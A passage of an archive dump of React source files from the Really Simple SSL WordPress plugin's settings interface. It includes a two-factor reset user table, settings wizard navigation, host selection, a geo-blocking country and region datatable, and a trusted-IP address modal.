        resetRolesEmail = Array.isArray(resetRolesEmail) ? resetRolesEmail : [resetRolesEmail];
        resetRolesTotp = Array.isArray(resetRolesTotp) ? resetRolesTotp : [resetRolesTotp];

        const resetRoles = resetRolesEmail.concat(resetRolesTotp);

        if (Array.isArray(users)) {
            for (const user of users) {
                await hardResetUser(user.id, resetRoles, user.user_role.toLowerCase());
            }
        } else {
            await hardResetUser(users.id, resetRoles, users.user_role.toLowerCase());
        }

        setDataLoaded(false);
        setRowsSelected([]);
        setRowCleared(true);
    }

    const handleSelection = (state) => {
        setRowsSelected(state.selectedRows);
    }

    const capitalizeFirstLetter = (string) => {
        //if the string is totp we capitlize it
        if (string === 'totp') {
            return string.toUpperCase();
        }
        return string.charAt(0).toUpperCase() + string.slice(1);
    }

    let resetDisabled = allAreForced(rowsSelected) || allAreOpen(rowsSelected);
    let inputData = data ? data : [];
    const paginatedData = inputData.slice((currentPage - 1) * rowsPerPage, currentPage * rowsPerPage);
    let displayData = [];
    paginatedData.forEach(user => {
        let recordCopy = { ...user }
        recordCopy.user = capitalizeFirstLetter(user.user);
        recordCopy.user_role = capitalizeFirstLetter(user.user_role);
        recordCopy.status_for_user = __(capitalizeFirstLetter(user.status_for_user), 'really-simple-ssl');
        recordCopy.rsssl_two_fa_providers = __(capitalizeFirstLetter(user.rsssl_two_fa_providers), 'really-simple-ssl');
        let btnDisabled = allAreForced(user) || allAreOpen(user);
        recordCopy.resetControl = <button disabled={btnDisabled}
                                          className="button button-red rsssl-action-buttons__button"
                                          onClick={() => handleReset(user)}
        >
            {__("Reset", "really-simple-ssl")}
        </button>
        displayData.push(recordCopy);
    });
    const CustomLoader = () => (
        <div className="custom-loader">
            <div className="dot"></div>
            <div className="dot"></div>
            <div className="dot"></div>
        </div>
    );

    return (
        <>
            <div className="rsssl-container" style={{ marginTop: "20px" }}>
                <div>
                    {/* Reserved for actions left */}
                </div>
                <div className="rsssl-search-bar">
                    <div className="rsssl-search-bar__inner">
                        <div className="rsssl-search-bar__icon"></div>
                        <input
                            type="text"
                            className="rsssl-search-bar__input"
                            placeholder={__("Search", "really-simple-ssl")}
                            onChange={event => handleTableSearch(event.target.value, searchableColumns)}
                        />
                    </div>
                </div>
            </div>
            {rowsSelected.length > 0 && (
                <div style={{ marginTop: '1em', marginBottom: '1em' }}>
                    <div className={"rsssl-multiselect-datatable-form rsssl-primary"}>
                        <div>
                            {__("You have selected %s users", "really-simple-ssl").replace("%s", rowsSelected.length)}
                        </div>
                        <div className="rsssl-action-buttons">
                            <div className="rsssl-action-buttons__inner">
                                <button disabled={resetDisabled || processing}
                                        className="button button-red rsssl-action-buttons__button"
                                        onClick={() => handleReset(rowsSelected)}
                                >
                                    {__("Reset", "really-simple-ssl")}
                                </button>
                            </div>
                        </div>
                    </div>
                </div>
            )}

            <DataTable
                    columns={columns}
                    data={displayData}
                    dense
                    pagination
                    paginationServer={true}
                    onChangePage={page => {
                        setCurrentPage(page);
                    }}
                    onChangeRowsPerPage={rows => {
                        setRowsPerPage(rows);
                        setCurrentPage(1);
                    }}
                    paginationTotalRows={data.length}
                    paginationRowsPerPageOptions={[5, 25, 50, 100]}
                    paginationPerPage={rowsPerPage}
                    progressPending={processing} // Show loading indicator
                    progressComponent={<CustomLoader />}
                    onSort={handleTableSort}
                    noDataComponent={__("No results", "really-simple-ssl")}
                    persistTableHead
                    selectableRows
                    selectableRowsHighlight={true}
                    onSelectedRowsChange={handleSelection}
                    clearSelectedRows={rowCleared}
                    theme="really-simple-plugins"
                    customStyles={customStyles}
                />
            {!enabled &&
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay">
                        <span className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span>
                        <span>{__('Activate Two-Factor Authentication and one method to enable this block.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            }
        </>
    );
}
export default DynamicDataTable;really-simple-ssl/settings/src/Settings/TwoFA/select.scss000064400000000052147510273070017510 0ustar00div[class$="MenuPortal"] {
  z-index:30;
}really-simple-ssl/settings/src/Settings/CheckboxControl.js000064400000005420147510273070020005 0ustar00/*
* The tooltip can't be included in the native toggleControl, so we have to build our own.
*/
import { useState, useEffect } from "@wordpress/element";
import { __experimentalConfirmDialog as ConfirmDialog } from '@wordpress/components';

const CheckboxControl = (props) => {
    const [ isOpen, setIsOpen ] = useState( false );
        const onChangeHandler = (e) => {
        //wordpress <6.0 does not have the confirmdialog component
        if ( !ConfirmDialog ) {
            executeAction();
            return;
        }
        if (props.field.warning && props.field.warning.length>0 && !props.field.value) {
            setIsOpen( true );
        } else {
            executeAction();
        }
    }

    const handleConfirm = async () => {
        setIsOpen( false );
        executeAction();
    };

    const handleCancel = () => {
        setIsOpen( false );
    };

    const executeAction = (e) => {
        let fieldValue = !props.field.value;
        props.onChangeHandler(fieldValue)
    }
    const handleKeyDown = (e) => {
        if (e.key === 'Enter') {
            e.preventDefault();
            onChangeHandler(true);
        }
    }
    let field = props.field;
    let is_checked = field.value ? 'is-checked' : '';
    let is_disabled = props.disabled ? 'is-disabled' : '';

    return (
        <>
            {ConfirmDialog && <ConfirmDialog
                isOpen={ isOpen }
                onConfirm={ handleConfirm }
                onCancel={ handleCancel }
            >
                {field.warning}
            </ConfirmDialog> }
            <div className="components-base-control components-toggle-control">
                <div className="components-base-control__field">
                    <div data-wp-component="HStack" className="components-flex components-h-stack">
                        <span className={ "components-form-toggle "+is_checked + ' ' +is_disabled}>
                            <input
                                onKeyDown={(e) => handleKeyDown(e)}
                                checked={field.value}
                                className="components-form-toggle__input"
                                onChange={ ( e ) => onChangeHandler(e) }
                                id={field.id}
                                type="checkbox"
                                disabled={props.disabled}
                            />
                        <span className="components-form-toggle__track"></span>
                        <span className="components-form-toggle__thumb"></span>
                        </span>
                        <label htmlFor={field.id} className="components-toggle-control__label">{props.label}</label>
                    </div>
                </div>
            </div>
        </>
    );
}
export default CheckboxControlreally-simple-ssl/settings/src/Settings/Host/HostData.js000064400000001337147510273070017345 0ustar00import {create} from 'zustand';
import * as rsssl_api from "../../utils/api";
const useHostData = create(( set, get ) => ({
    hosts: [],
    hostsLoaded:false,
    fetchHosts: async ( id ) => {
        try {
            const response = await rsssl_api.doAction('get_hosts', { id: id });

            // Handle the response
            if ( !response ) {
                console.error('No response received from the server.');
                return;
            }
            let hosts = response.hosts;
            // Set the roles state with formatted data
            set({hosts: hosts,hostsLoaded:true  });
        } catch (error) {
            console.error('Error:', error);
        }
    }
}));

export default useHostData;

really-simple-ssl/settings/src/Settings/Host/Host.js000064400000004057147510273070016555 0ustar00import { useState, useEffect, memo } from "@wordpress/element";
import { ThemeProvider } from '@mui/material/styles';
import useFields from "../FieldsData";
import AutoCompleteControl from "../AutoComplete/AutoCompleteControl";
import useHostData from "./HostData";
import { __ } from "@wordpress/i18n";
import autoCompleteSharedTheme from "../../utils/autoCompleteTheme";
const Host = ({ field, showDisabledWhenSaving = true }) => {
    const { updateField, setChangedField, saveFields, handleNextButtonDisabled } = useFields();
    const [disabled, setDisabled] = useState(false);
    const { fetchHosts, hosts, hostsLoaded } = useHostData();

    useEffect(() => {
        if (!hostsLoaded) {
            fetchHosts();
        }
    }, []);

    useEffect(() => {
        handleNextButtonDisabled(disabled);
    }, [disabled]);

    const onChangeHandler = async (fieldValue) => {
        if (showDisabledWhenSaving) {
            setDisabled(true);
        }
        updateField(field.id, fieldValue);
        setChangedField(field.id, fieldValue);
        await saveFields(true, false);
        setDisabled(false);
    };

    let loadedHosts = hostsLoaded ? hosts : [];
    let options = [];
    let item = {
        label: __('Optional - Select your hosting provider.', 'really-simple-ssl'),
        value: '',
    };
    if (field.value.length === 0) {
        options.push(item);
    }
    for (let key in loadedHosts) {
        if (loadedHosts.hasOwnProperty(key)) {
            let item = {};
            item.label = loadedHosts[key].name;
            item.value = key;
            options.push(item);
        }
    }

    return (
        <ThemeProvider theme={autoCompleteSharedTheme}>
            <AutoCompleteControl
                className="rsssl-select"
                field={field}
                label={field.label}
                onChange={(fieldValue) => onChangeHandler(fieldValue)}
                value={field.value}
                options={options}
                disabled={disabled}
            />
        </ThemeProvider>
    );
};

export default memo(Host);
really-simple-ssl/settings/src/Settings/Settings.js000064400000016416147510273070016525 0ustar00import {useState, useEffect} from '@wordpress/element';
import SettingsPlaceholder from '../Placeholder/SettingsPlaceholder';
import {in_array} from '../utils/lib';
import SettingsGroup from './SettingsGroup';
import Help from './Help';
import useFields from './FieldsData';
import useMenu from '../Menu/MenuData';
import {__} from '@wordpress/i18n';
import useLetsEncryptData from '../LetsEncrypt/letsEncryptData';
import ErrorBoundary from "../utils/ErrorBoundary";

/**
 * Renders the selected settings
 *
 */
const Settings = () => {
  const [noticesExpanded, setNoticesExpanded] = useState(true);
  const {
    progress,
    fieldsLoaded,
    saveFields,
    fields,
    nextButtonDisabled,
  } = useFields();
  const {
    subMenuLoaded,
    subMenu,
    selectedSubMenuItem,
    selectedMainMenuItem,
    nextMenuItem,
    previousMenuItem,
  } = useMenu();
  const {setRefreshTests} = useLetsEncryptData();
  const toggleNotices = () => {
    setNoticesExpanded(!noticesExpanded);
  };

  const isTestsOnlyMenu = () => {
    const {menu_items: menuItems} = subMenu;
    for (const menuItem of menuItems) {
      if (menuItem.id === selectedSubMenuItem && menuItem.tests_only) {
        return true;
      }
    }
    return false;
  };

  const saveData = async (isSaveAndContinueButton) => {
    if (!isSaveAndContinueButton && isTestsOnlyMenu()) {
      setRefreshTests(true);
    } else if (isSaveAndContinueButton) {
      await saveFields(true, false);
    } else {
     await saveFields(true, true);
    }
  };

  const {menu_items: menuItems} = subMenu;
  if (!subMenuLoaded || !fieldsLoaded || menuItems.length === 0) {
    return (
        <SettingsPlaceholder/>
    );
  }

  let selectedFields = fields.filter(
      field => field.menu_id === selectedSubMenuItem);
  let groups = [];
  for (const selectedField of selectedFields) {
    if (!in_array(selectedField.group_id, groups)) {
      groups.push(selectedField.group_id);
    }
  }

  //convert progress notices to an array useful for the help blocks
  let notices = [];
  for (const notice of progress.notices) {
    let noticeIsLinkedToField = false;

    //notices that are linked to a field. Only in case of warnings.
    if (notice.show_with_options) {
      let noticeFields = selectedFields.filter(
          field => notice.show_with_options.includes(field.id));
      noticeIsLinkedToField = noticeFields.length > 0;
    }
    //notices that are linked to a menu id.
    if (noticeIsLinkedToField || notice.menu_id === selectedSubMenuItem) {
      let help = {};
      help.title = notice.output.title ? notice.output.title : false;
      help.label = notice.output.label;
      help.id = notice.id;
      help.text = notice.output.msg;
      help.url = notice.output.url;
      help.linked_field = notice.show_with_option;
      notices.push(help);
    }
  }

  //help items belonging to a field
  //if field is hidden, hide the notice as well
  for (const notice of selectedFields.filter(
      field => field.help && !field.conditionallyDisabled)) {
    let help = notice.help;
    //check if the notices array already includes this help item
    let existingNotices = notices.filter(
        noticeItem => noticeItem.id && noticeItem.id === help.id);
    if (existingNotices.length === 0) {
      // if (!help.id ) help['id'] = notice.id;
      notices.push(notice.help);
    }
  }
  let continueLink = nextButtonDisabled
      ? `#${selectedMainMenuItem}/${selectedSubMenuItem}`
      : `#${selectedMainMenuItem}/${nextMenuItem}`;
  // let btnSaveText = isTestsOnlyMenu() ? __('Refresh', 'really-simple-ssl') :
  // __('Save', 'really-simple-ssl');
  let btnSaveText = __('Save', 'really-simple-ssl');
  for (const menuItem of menuItems) {
    if (menuItem.id === selectedSubMenuItem && menuItem.tests_only) {
      btnSaveText = __('Refresh', 'really-simple-ssl');
    }
  }

  return (
      <>
        <div className="rsssl-wizard-settings">
          {groups.map((group, i) =>
              <SettingsGroup key={'settingsGroup-' + i} index={i} group={group}
                             fields={selectedFields}/>)
          }
          <div className="rsssl-grid-item-footer-container">
            <ScrollProgress/>
            <div className="rsssl-grid-item-footer">
              <div className={'rsssl-grid-item-footer-buttons'}>
                {/*This will be shown only if current step is not the first one*/}
                {selectedSubMenuItem !== menuItems[0].id &&
                    <a className="rsssl-previous"
                       href={`#${selectedMainMenuItem}/${previousMenuItem}`}>
                      {__('Previous', 'really-simple-ssl')}
                    </a>
                }
                <button
                    className="button button-secondary"
                    onClick={(e) => saveData(false)}>
                  {btnSaveText}
                </button>
                {/*This will be shown only if current step is not the last one*/}
                {selectedSubMenuItem !==
                    menuItems[menuItems.length - 1].id &&
                    <>
                      <button disabled={nextButtonDisabled}
                         className="button button-primary"
                         onClick={(e) => {saveData(true);window.location.href=continueLink;} }>
                        {__('Save and continue', 'really-simple-ssl')}
                      </button>
                    </>
                }
              </div>
            </div>
          </div>
        </div>
        <div className="rsssl-wizard-help">
              <div className="rsssl-help-header">
                  <div className="rsssl-help-title rsssl-h4">
                      {__("Notifications", "really-simple-ssl")}
                  </div>
                  <div className="rsssl-help-control" onClick={ () => toggleNotices() }>
                      {!noticesExpanded && __("Expand all","really-simple-ssl")}
                      {noticesExpanded && __("Collapse all","really-simple-ssl")}
                  </div>
              </div>
              { notices.map((field, i) => <ErrorBoundary key={'errorboundary-'+i} fallback={"Could not load notices"}>
                      <Help noticesExpanded={noticesExpanded} index={i} help={field} fieldId={field.id}/>
                  </ErrorBoundary>
                  )}

          </div>
      </>

  );

};
export default Settings;

export const ScrollProgress = () => {
  // calculate the scroll progress
  const [scrollProgress, setScrollProgress] = useState(0);
  useEffect(() => {
    window.addEventListener('scroll', () => {
      let scrollableHeight = document.documentElement.scrollHeight -
          document.documentElement.clientHeight;
      let scrollProgressPercentage = Math.round(
          (window.scrollY / scrollableHeight) * 100);
      // start at 5% and end at 100%
      scrollProgressPercentage = Math.max(5, scrollProgressPercentage);
      setScrollProgress(scrollProgressPercentage);
    });
  }, []);

  // if you can't scroll return null
  if (document.documentElement.scrollHeight <=
      document.documentElement.clientHeight) {
    return null;
  }
  return (
      // add width to span
      <span className={'rsssl-grid-item-footer-scroll-progress-container'}>
			<span className={'rsssl-grid-item-footer-scroll-progress'}
            style={{width: scrollProgress + '%'}}>{scrollProgress}%</span>
		</span>
  );
};
really-simple-ssl/settings/src/Settings/FilterData.js000064400000001116147510273070016733 0ustar00// FilterData.js
import {create} from 'zustand';

const filterData = create((set, get) => ({
    selectedFilter: [],
    processingFilter: false,
    setSelectedFilter: (selectedFilter, activeGroupId) => {
        set((state) => ({
            //we make it an array, so we can have multiple filters
            selectedFilter: {...state.selectedFilter, [activeGroupId]: selectedFilter},
        }));
    },
    getCurrentFilter: (activeGroupId) => get().selectedFilter[activeGroupId],
    setProcessingFilter: (processingFilter) => set({processingFilter}),
}));

export default filterData;
really-simple-ssl/settings/src/Settings/GeoBlockList/AddButton.js000064400000001305147510273070021121 0ustar00import Icon from "../../utils/Icon";

const AddButton = ({ getCurrentFilter, moduleName, handleOpen, processing, blockedText, allowedText, disabled }) => {
    return (
        <div className="rsssl-add-button">
                <div className="rsssl-add-button__inner">
                    <button
                        className="button button-secondary button-datatable rsssl-add-button__button"
                        onClick={handleOpen}
                        disabled={disabled}
                    >
                        {allowedText}{processing && <Icon name = "loading" color = 'grey' />}
                    </button>
                </div>
        </div>
    );
};

export default AddButton;really-simple-ssl/settings/src/Settings/GeoBlockList/GeoDatatable.js000064400000047537147510273070021572 0ustar00import {useEffect, useState, useCallback} from '@wordpress/element';
import FieldsData from "../FieldsData";
import GeoDataTableStore from "./GeoDataTableStore";
import EventLogDataTableStore from "../EventLog/EventLogDataTableStore";
import FilterData from "../FilterData";
import Flag from "../../utils/Flag/Flag";
import {__} from '@wordpress/i18n';
import useFields from "../FieldsData";
import useMenu from "../../Menu/MenuData";

/**
 * A component for displaying a geo datatable.
 *
 * @param {Object} props - The component props.
 * @param {string} props.field - The field to display.
 *
 * @returns {JSX.Element} The rendered component.
 */
const GeoDatatable = (props) => {
    const {
        CountryDataTable,
        dataLoaded,
        fetchCountryData,
        addRow,
        addMultiRow,
        removeRegion,
        removeRegionMulti,
        addRegion,
        addRegionsMulti,
        removeRow,
        removeRowMulti,
        rowCleared,
        resetRowSelection,
    } = GeoDataTableStore();

    const moduleName = 'rsssl-group-filter-firewall_list_listing';
    const [localData, setLocalData] = useState([]);
    const [searchTerm, setSearchTerm] = useState('');
    const [visualData, setVisualData] = useState([]);
    const {showSavedSettingsNotice, saveFields} = FieldsData();
    const [rowsSelected, setRowsSelected] = useState([]);
    const [columns, setColumns] = useState([]);
    const {fields, fieldAlreadyEnabled, getFieldValue, setHighLightField, getField} = useFields();
    const [currentPage, setCurrentPage] = useState(1);
    const [rowsPerPage, setRowsPerPage] = useState(10);
    const {setSelectedSubMenuItem} = useMenu();
    const [DataTable, setDataTable] = useState(null);
    const [theme, setTheme] = useState(null);

    useEffect( () => {
        import('react-data-table-component').then(({ default: DataTable, createTheme }) => {
            setDataTable(() => DataTable);
            setTheme(() => createTheme('really-simple-plugins', {
                divider: {
                    default: 'transparent',
                },
            }, 'light'));
        });

    }, []);

    let enabled = getFieldValue('enable_firewall');

    const handlePageChange = (page) => {
        setCurrentPage(page);
    };
    const handlePerRowsChange = (newRowsPerPage) => {
        setRowsPerPage(newRowsPerPage);
    };

    const {
        selectedFilter,
        setSelectedFilter,
        activeGroupId,
        getCurrentFilter,
        setProcessingFilter,
    } = FilterData();

    const [filter, setFilter] = useState(getCurrentFilter(moduleName));

    const buildColumn = useCallback((column) => ({
        //if the filter is set to region and the columns = status we do not want to show the column
        omit: filter === 'regions' && (column.column === 'country_name' || column.column === 'flag'),
        name: (column.column === 'action' && 'regions' === filter) ? __('Block / Allow All', 'really-simple-ssl') : column.name,
        sortable: column.sortable,
        searchable: column.searchable,
        width: column.width,
        visible: column.visible,
        column: column.column,
        selector: row => row[column.column],
    }), [filter]);
    let field = props.field;

    useEffect(() => {
        const element = document.getElementById('set_to_captcha_configuration');
        const clickListener = async event => {
            event.preventDefault();
            if (element) {
                await redirectToAddCaptcha(element);
            }
        };

        if (element) {
            element.addEventListener('click', clickListener);
        }

        return () => {
            if (element) {
                element.removeEventListener('click', clickListener);
            }
        };
    }, []);

    const redirectToAddCaptcha = async (element) => {
        // We fetch the props from the menu item
        let menuItem = getField('enabled_captcha_provider');

        // Create a new object based on the menuItem, including the new property
        let highlightingMenuItem = {
            ...menuItem,
            highlight_field_id: 'enabled_captcha_provider',
        };

        setHighLightField(highlightingMenuItem.highlight_field_id);
        let highlightField = getField(highlightingMenuItem.highlight_field_id);
        await setSelectedSubMenuItem(highlightField.menu_id);
    }

    const blockCountryByCode = useCallback(async (code, name) => {
        if (Array.isArray(code)) {
            //We get all the iso2 codes and names from the array
            const ids = code.map(item => ({
                country_code: item.iso2_code,
                country_name: item.country_name
            }));
            //we loop through the ids and block them one by one
            await addMultiRow(ids).then(
                (response) => {
                    if (response.success) {
                        showSavedSettingsNotice(response.message);
                    } else {
                        showSavedSettingsNotice(response.message, 'error');
                    }
                }
            );
            await fetchCountryData(field.action, filter);
            setRowsSelected([]);
        } else {
            await addRow(code, name).then((result) => {
                showSavedSettingsNotice(result.message);
                if (result.success) {
                    fetchCountryData(field.action, filter);
                }
            });
        }
    }, [addRow, filter, localData, enabled]);

    const allowRegionByCode = useCallback(async (code, regionName = '') => {
        if (Array.isArray(code)) {
            const ids = code.map(item => ({
                iso2_code: item.iso2_code,
                country_name: item.country_name
            }));
            await removeRegionMulti(ids).then(
                (response) => {
                    if (response.success) {
                        showSavedSettingsNotice(response.message);
                        if (response.success) {
                            fetchCountryData(field.action, filter);
                        }
                    } else {
                        showSavedSettingsNotice(response.message, 'error');
                    }
                }
            );
            setRowsSelected([]);
        } else {
            await removeRegion(code).then((result) => {
                showSavedSettingsNotice(result.message);
                if (result.success) {
                    fetchCountryData(field.action, filter);
                }
            });
        }
    }, [removeRegion, filter]);

    const blockRegionByCode = useCallback(async (code, region = '') => {
        if (Array.isArray(code)) {
            const ids = code.map(item => ({
                iso2_code: item.iso2_code,
                country_name: item.country_name
            }));
            await addRegionsMulti(ids).then(
                (response) => {
                    if (response.success) {
                        showSavedSettingsNotice(response.message);
                    } else {
                        showSavedSettingsNotice(response.message, 'error');
                    }
                }
            );
            await fetchCountryData(field.action, filter);
            setRowsSelected([]);
        } else {
            await addRegion(code).then((result) => {
                if (result.success) {
                    showSavedSettingsNotice(result.message);
                } else {
                    showSavedSettingsNotice(result.message, 'error');
                }
            });
            await fetchCountryData(field.action, filter);
        }

    }, [addRegion, filter]);

    const allowCountryByCode = useCallback(async (code) => {
        if (Array.isArray(code)) {
            const ids = code.map(item => ({
                country_code: item.iso2_code,
                country_name: item.country_name
            }));
            //we loop through the ids and allow them one by one
            await removeRowMulti(ids).then(
                (response) => {
                    if (response.success) {
                        showSavedSettingsNotice(response.message);
                    } else {
                        showSavedSettingsNotice(response.message, 'error');
                    }
                }
            );

            setRowsSelected([]);
            await fetchCountryData(field.action, filter);
        } else {
            await removeRow(code).then((result) => {
                showSavedSettingsNotice(result.message);
            });
            await fetchCountryData(field.action, filter);
        }

    }, [removeRow, filter]);

    const ActionButton = ({onClick, children, className, disabled = false}) => (
        // <div className={`rsssl-action-buttons__inner`}>
        <button
            className={`button ${className} rsssl-action-buttons__button`}
            onClick={onClick}
            disabled={disabled}
        >
            {children}
        </button>
        // </div>
    );

    const customStyles = {
        headCells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
        cells: {
            style: {
                paddingLeft: '0',
                paddingRight: '0',
            },
        },
    };

    const generateActionButtons = useCallback((code, name, region_name, showBlockButton = true, showAllowButton = true) => {
        return (<div className="rsssl-action-buttons">
            {filter === 'blocked' && (
                <ActionButton
                    onClick={() => allowCountryByCode(code)}
                    className="button-secondary">
                    {__("Allow", "really-simple-ssl")}
                </ActionButton>
            )}
            {filter === 'regions' && (
                <>
                    <ActionButton
                        onClick={() => blockRegionByCode(code, region_name)}
                        className="button-primary"
                        disabled={!showBlockButton}
                    >
                        {__("Block", "really-simple-ssl")}
                    </ActionButton>
                    <ActionButton
                        onClick={() => allowRegionByCode(code, region_name)}
                        className="button-secondary"
                        disabled={!showAllowButton}
                    >
                        {__("Allow", "really-simple-ssl")}
                    </ActionButton>
                </>
            )}
            {filter === 'countries' && (
                <ActionButton
                    onClick={() => blockCountryByCode(code, name)}
                    className="button-primary">
                    {__("Block", "really-simple-ssl")}
                </ActionButton>
            )}
        </div>)
    }, [filter]);

    const generateFlag = useCallback((flag, title) => {
        return (
            <>
                <Flag
                    countryCode={flag}
                    style={{
                        fontSize: '2em',
                    }}
                    title={title}
                    continent={(getCurrentFilter(moduleName) === 'regions')}
                />
            </>
        )
    }, [filter]);


    useEffect(() => {
        const currentFilter = getCurrentFilter(moduleName);
        if (typeof currentFilter === 'undefined') {
            setFilter('regions');
            setSelectedFilter('regions', moduleName);
        } else {
            setFilter(currentFilter);
        }
        setRowsSelected([]);
        resetRowSelection(true);
        resetRowSelection(false);
    }, [getCurrentFilter(moduleName)]);

    useEffect(() => {
        if (filter !== undefined) {
            const fetchData = async () => {
                await fetchCountryData(field.action, filter);
            }
            fetchData();
        }

    }, [filter]);

    useEffect(() => {
        if (dataLoaded && CountryDataTable.data !== undefined) {
            setLocalData(CountryDataTable.data);
        }
    }, [dataLoaded]);

    const handleSelection = useCallback((state) => {
        //based on the current page and the rows per page we get the rows that are selected
        const {selectedCount, selectedRows, allSelected, allRowsSelected} = state;
        let rows = [];
        if (allSelected) {
            rows = selectedRows.slice((currentPage - 1) * rowsPerPage, currentPage * rowsPerPage);
            setRowsSelected(rows);
        } else {
            setRowsSelected(selectedRows);
        }
    }, [currentPage, rowsPerPage, visualData]);

    useEffect(() => {
        let FilterColumns = field.columns.map(buildColumn);
        // Find the index of the 'action' column
        const actionIndex = FilterColumns.findIndex(column => column.column === 'action');


        // If 'filter' equals 'regions' and 'action' column exists, then do the rearrangement
        if (filter === 'regions' && actionIndex !== -1) {
            const actionColumn = FilterColumns[actionIndex];

            // Remove 'action' column from its current place
            FilterColumns.splice(actionIndex, 1);
            const emptyColumn = {
                name: '',
                selector: '',
                sortable: false,
                omit: false,
                searchable: false,
            };
            // Push 'action' column to the end of the array
            FilterColumns.push(emptyColumn, actionColumn);
        }
        setColumns(FilterColumns);
        const generatedVisualData = (localData || [])
            .filter((row) => {
                return Object.values(row).some((val) => ((val ?? '').toString().toLowerCase()).includes(searchTerm.toLowerCase()));
            }).map((row) => {
                const newRow = {...row};
                columns.forEach((column) => {
                    newRow[column.column] = row[column.column];
                });
                if (filter === 'regions') {
                    let showBlockButton = (newRow.region_count - newRow.blocked_count) > 0;
                    let showAllowButton = (newRow.blocked_count > 0);
                    newRow.action = generateActionButtons(newRow.iso2_code, newRow.country_name, newRow.region, showBlockButton, showAllowButton);
                } else if (filter === 'countries') {
                    newRow.action = generateActionButtons(newRow.iso2_code, newRow.country_name, newRow.region);
                } else {
                    newRow.action = generateActionButtons(newRow.iso2_code, newRow.status, newRow.region);
                }
                newRow.flag = generateFlag(newRow.iso2_code, newRow.country_name);
                if (newRow.status) {
                    newRow.status = __(newRow.status.charAt(0).toUpperCase() + newRow.status.slice(1), 'really-simple-ssl');
                    if ('regions' === filter) {
                        // So i all is blocked we don't want to show the count also if all are allowed we don't want to show the count
                        if (newRow.blocked_count === newRow.region_count || newRow.blocked_count === 0) {
                            newRow.status = newRow.status;

                        } else {
                            newRow.status = newRow.status + ' (' + newRow.blocked_count + '/ ' + newRow.region_count + ')';
                        }
                    }

                }
                return newRow;
            });
        setVisualData(generatedVisualData);
    }, [localData, searchTerm]);

    useEffect(() => {
        if ( rowsSelected.length === 0 ) {
            resetRowSelection
        }
    }, [rowsSelected]);

    return (
        <>
            <div className="rsssl-container">
                <div>
                    {/* reserved for left side buttons */}
                </div>
                <div className="rsssl-search-bar">
                    <div className="rsssl-search-bar__inner">
                        <div className="rsssl-search-bar__icon"></div>
                        <input
                            type="text"
                            className="rsssl-search-bar__input"
                            placeholder={__("Search", "really-simple-ssl")}
                            onChange={e => setSearchTerm(e.target.value)}
                        />
                    </div>
                </div>
            </div>
            {rowsSelected.length > 0 && (
                <div
                    style={{
                        marginTop: '1em',
                        marginBottom: '1em',
                    }}
                >
                    <div className={"rsssl-multiselect-datatable-form rsssl-primary"}>
                        <div>
                            {__("You have selected %s rows", "really-simple-ssl").replace('%s', rowsSelected.length)}
                        </div>
                        <div className="rsssl-action-buttons">
                            {filter === 'countries' && (
                                <>
                                    <ActionButton
                                        onClick={() => blockCountryByCode(rowsSelected)} className="button-primary">
                                        {__("Block", "really-simple-ssl")}
                                    </ActionButton>
                                </>
                            )}
                            {filter === 'regions' && (
                                <>
                                    <ActionButton
                                        onClick={() => allowRegionByCode(rowsSelected)} className="button-secondary">
                                        {__("Allow", "really-simple-ssl")}
                                    </ActionButton>
                                    <ActionButton
                                        onClick={() => blockRegionByCode(rowsSelected)} className="button-primary">
                                        {__("Block", "really-simple-ssl")}
                                    </ActionButton>
                                </>
                            )}
                            {filter === 'blocked' && (
                                <ActionButton
                                    onClick={() => allowCountryByCode(rowsSelected)}>
                                    {__("Allow", "really-simple-ssl")}
                                </ActionButton>
                            )}
                        </div>
                    </div>
                </div>
            )}
            {DataTable &&
            <DataTable
                columns={columns}
                data={visualData}
                dense
                pagination={true}
                paginationComponentOptions={{
                    rowsPerPageText: __('Rows per page:', 'really-simple-ssl'),
                    rangeSeparatorText: __('of', 'really-simple-ssl'),
                    noRowsPerPage: false,
                    selectAllRowsItem: false,
                    selectAllRowsItemText: __('All', 'really-simple-ssl'),

                }}
                noDataComponent={__("No results", "really-simple-ssl")}
                persistTableHead
                selectableRows={true}
                paginationPerPage={rowsPerPage}
                onChangePage={handlePageChange}
                onChangeRowsPerPage={handlePerRowsChange}
                onSelectedRowsChange={handleSelection}
                clearSelectedRows={rowCleared}
                theme="really-simple-plugins"
                customStyles={customStyles}
            >
            </DataTable> }
            {!getFieldValue('enable_firewall') && (
                <div className="rsssl-locked">
                    <div className="rsssl-locked-overlay"><span
                        className="rsssl-task-status rsssl-open">{__('Disabled', 'really-simple-ssl')}</span><span>{__('Restrict access from specific countries or continents. You can also allow only specific countries.', 'really-simple-ssl')}</span>
                    </div>
                </div>
            )}
        </>
    )
}

export default GeoDatatable;
really-simple-ssl/settings/src/Settings/GeoBlockList/TrustIpAddressModal.js000064400000012667147510273070023147 0ustar00import {useState} from '@wordpress/element';
import Icon from "../../utils/Icon";
import {
    Modal,
    Button,
    TextControl
} from "@wordpress/components";
import {__} from "@wordpress/i18n";
import FieldsData from "../FieldsData";
import WhiteListTableStore from "./WhiteListTableStore";

const TrustIpAddressModal = (props) => {
    const { note, setNote, ipAddress, setIpAddress, maskError, setDataLoaded, dataLoaded, updateRow, resetRange} = WhiteListTableStore();
    const [rangeDisplay, setRangeDisplay] = useState(false);
    const {showSavedSettingsNotice} = FieldsData();

    //we add a function to handle the range fill
    const handleRangeFill = () => {
        //we toggle the range display.
        setRangeDisplay(!rangeDisplay);
    }

    async function handleSubmit() {
        // we check if statusSelected is not empty
        if (ipAddress && maskError === false) {
            await updateRow(ipAddress, note, props.status ,props.filter).then((response) => {
                if (response.success) {
                    showSavedSettingsNotice(response.message);
                    //we fetch the data again
                    setDataLoaded(false);

                } else {
                    showSavedSettingsNotice(response.message, 'error');
                }
            });
            //we clear the input
            resetRange();
            //we close the modal
            props.onRequestClose();
        }
    }

    function handleCancel() {
        // Reset all local state
        setRangeDisplay(false);
        resetRange();

        // Close the modal
        props.onRequestClose();
    }
    if (!props.isOpen) {
        return null;
    }

    const changeHandler = (e) => {
       if (e.length > 0) {
           setIpAddress(e);
        } else {
           resetRange()
       }
    }

    return (
        <Modal
            title={__("Add IP Address", "really-simple-ssl")}
            shouldCloseOnClickOutside={true}
            shouldCloseOnEsc={true}
            overlayClassName="rsssl-modal-overlay"
            className="rsssl-modal"
            onRequestClose={props.onRequestClose}
        >
            <div className="modal-content">
                <div className="modal-body"
                    style={{
